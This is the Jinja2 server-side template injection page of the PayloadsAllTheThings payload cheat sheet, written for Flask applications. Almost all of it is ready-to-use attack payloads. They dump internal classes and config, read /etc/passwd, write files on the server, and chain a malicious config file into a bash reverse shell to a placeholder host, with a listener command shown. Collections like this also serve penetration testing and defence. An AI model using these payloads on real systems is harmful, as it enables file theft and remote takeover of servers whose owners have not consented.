PayloadsAllTheThings/Template injections

Templates Injections

Template injection allows an attacker to include template code into an existant (or not) template.

Jinja2

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application.

Template format

{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Dump all used classes

{{ ''.__class__.__mro__[2].__subclasses__() }}

Dump all config variables

{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

Read remote file

# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} 

Write into remote file

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Remote Code Execution via reverse shell

Listen for connexion

nv -lnvp 8000

Inject this template

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host

Ressources & Sources

https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/

Training

https://w3challs.com/